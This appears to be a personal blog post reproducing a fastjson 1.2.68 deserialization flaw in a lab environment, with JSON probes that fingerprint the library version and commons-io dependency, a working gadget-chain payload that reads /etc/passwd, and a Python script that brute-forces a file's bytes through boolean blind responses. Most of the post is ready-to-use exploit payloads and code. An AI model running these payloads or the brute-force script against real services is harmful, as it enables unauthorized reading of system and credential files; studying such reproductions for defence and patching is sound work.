banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjson vulnerability reproduction - 1268 - readfile

06-1268-readfile#

Reference: https://github.com/lemono0/FastJsonPart

Focusing on reproducing a process, understanding the vulnerability exploitation process. There are many excellent articles by experts online, but they are not sufficient for foundational learning (especially regarding compiling Java files with IDEA, how to resolve dependency issues, etc., -__-|). Therefore, I will write down the process of my reproduction.

Detecting version, removing parentheses error

Pasted image 20250108160156

{
  "@type": "java.lang.AutoCloseable"

Pasted image 20250108160246

The version is 1.2.68

This version restricts the use of jndi, a common method is file read and write.

Environment dependency detection

Using Character type conversion error, when the specified class exists, it will report a conversion error; if it does not exist, there will be no output.

Detecting if it is jdk11

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "java.net.http.HttpClient"
		}
	}

Pasted image 20250108160715

This only indicates that it is not jdk11.

Detecting commons-io dependency

{
"x": {
  "@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}

Pasted image 20250108160900

This indicates that the commons-io dependency exists, but the version is uncertain.

Detecting version

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.apache.commons.io.file.Counters"
		}
	}

Pasted image 20250108161012

org.apache.commons.io.file.Counters was introduced in commons-io2.7~2.8, and the absence of critical error output indicates that it is not version 2.7~2.8.

File reading is performed under commons-io2.0~2.8, the poc is as follows:

{
  "abc": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [
          114,111,111,116
        ]
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
      "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
    "start": 0,
    "end": 0
  }
}
}

The above poc attempts to read /etc/passwd, returning the following content, indicating that the content of /etc/passwd was successfully read, with 114,111,111,116 being root.

Pasted image 20250108161304

Pasted image 20250108161444

This leads to a boolean blind injection. The next step is to write a script to read sensitive files and brute-force the bytes.

Using the script provided by the author for brute-forcing:

import requests
import json

url = "http://10.30.0.84/login"

asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
    "abc": {
				"@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///flag"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [
            {
                "charsetName": "UTF-8",
                "bytes": [
"""  

data2 = """
                ]
            }
        ]
    },
    "address": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
            "start": 0,
            "end": 0
        }
    }
}
"""
proxies = {
    'http': '127.0.0.1:8080',
}

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "Content-Type": "application/json; charset=utf-8"
}


for i in range(1,30):  # Define how long to read, but do not read too long at once; it is recommended to read in multiple batches.
    for i in asciis:
        file_byte.append(str(i))
        req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
        text = req.text
        if "charSequence" not in text:
            file_byte.pop()         

print(','.join(file_byte))   
file_str = ""
for i in file_byte:
    file_str += chr(int(i))
print(file_str)
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.